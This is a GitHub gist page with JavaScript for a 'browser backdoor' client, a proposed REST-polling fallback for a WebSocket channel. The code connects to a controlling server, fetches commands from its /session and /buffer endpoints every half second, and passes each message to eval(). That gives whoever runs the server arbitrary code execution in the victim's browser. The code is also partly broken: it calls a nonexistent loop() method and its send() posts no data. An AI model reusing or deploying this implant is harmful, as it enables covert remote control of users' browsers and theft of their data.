Skip to content

Instantly share code, notes, and snippets.

@Paradoxis
Last active May 19, 2017 12:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Paradoxis/64c83b114f4eb80fc083033aa1e15127 to your computer and use it in GitHub Desktop.
Save Paradoxis/64c83b114f4eb80fc083033aa1e15127 to your computer and use it in GitHub Desktop.
Browser backdoor REST fallback proposal
function wsConnect(url)
{
if (ws == null && "WebSocket" in window) {
ws = new WebSocket(url);
}
if (ws == null && "RestSocket" in window) {
ws = new RestSocket(url);
}
if (ws == null) {
return;
}
ws.onmessage = function(evt) {
if (ws.readyState === 1) {
eval(evt.data);
}
};
ws.onclose = function() {
ws = null;
};
}
;(function(global) {
/**
* WebSocket fallback class
* @param {string} url
* @param {number} timeout
*/
function RestSocket(url, timeout)
{
/* Ready state variables */
this.CONNECTING = 0;
this.OPEN = 1;
this.CLOSING = 2;
this.CLOSED = 3;
/* URL and session ID */
this.id = null;
this.url = url.replace(/(ws)(s)?\:\/\//, "http$2://");
/* Connect loop */
this.interval = null;
this.readyState = this.CLOSED;
/* Event listeners */
this.onmessage = function() {}
this.onerror = function() {}
this.onclose = function() {}
this.onopen = function() {}
/* Initialize the socket */
this.connect();
}
/**
* Connect to the browser backdoor server
* Fetches a session ID, and stores it in the RestSocket instance
* @returns {void}
* @async
*/
RestSocket.prototype.connect = function()
{
this.readyState = this.CONNECTING;
var req = new XMLHttpRequest();
req.onreadystatechange = this.connectCallback(this, req);
req.open("GET", this.url + "/session", true);
req.send();
};
/**
* Connect callback handler
* @param {this} self
* @parm {XMLHttpRequest} req
* @returns {Function}
*/
RestSocket.prototype.connectCallback = function (self, req)
{
return function() {
if (req.readyState == 4 && req.status == 200) {
self.readyState = self.OPEN;
self.id = parseInt(req.responseText);
self.onopen(self.id)
self.loop();
} else {
self.onerror(req.responseText);
}
};
};
/**
* Disconnect from the browser backdoor server (destroy the session)
* @return {void}
*/
RestSocket.prototype.disconnect = function ()
{
var req = new XMLHttpRequest();
req.onreadystatechange = this.disconnectCallback(this, req);
req.open("DELETE", this.url + "/session", true);
req.send();
};
/**
* Disconnect callback handler
* @param {this} self
* @param {XMLHttpRequest} req
* @return {Function}
*/
RestSocket.prototype.disconnectCallback = function (self, req)
{
return function () {
self.readyState = self.CLOSED;
self.onclose();
}
};
/**
* Fetch data from the command buffer
* @param {this} self
* @return {Function}
*/
RestSocket.prototype.receive = function (self)
{
return function () {
var req = new XMLHttpRequest();
req.onreadystatechange = this.receiveCallback(self, req);
req.open("GET", this.url + "/buffer/" + this.id, true);
req.send();
}
};
/**
* Receive callback handler
* @param {this} self
* @param {XMLHttpRequest} req
* @returns {Function}
*/
RestSocket.prototype.receiveCallback = function (self, req)
{
return function () {
if (req.readyState == 4 && req.status == 200) {
self.onmessage({"data": req.responseText});
} else {
self.onerror(req.responseText, req.status);
}
}
};
/**
* Receive interval
* @returns {void}
*/
RestSocket.prototype.receiveLoop = function ()
{
this.interval = setInterval(this.receive(this), 500);
};
/**
* Stop the receiveLoop and destroy the REST session
* Used as an alternative for the WebSocket.close() method
* @returns {void}
*/
RestSocket.prototype.close = function()
{
this.readyState = this.CLOSING;
clearInterval(this.interval);
this.disconnect();
};
/**
* Send data to the rest based WebSocket server
* Used as an alternative for the WebSocket.send() method
* @returns {void}
*/
RestSocket.prototype.send = function(data)
{
var req = new XMLHttpRequest();
req.open("POST", this.url + "/buffer/" + this.id, true);
req.send();
};
window.RestSocket = RestSocket;
})(window);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment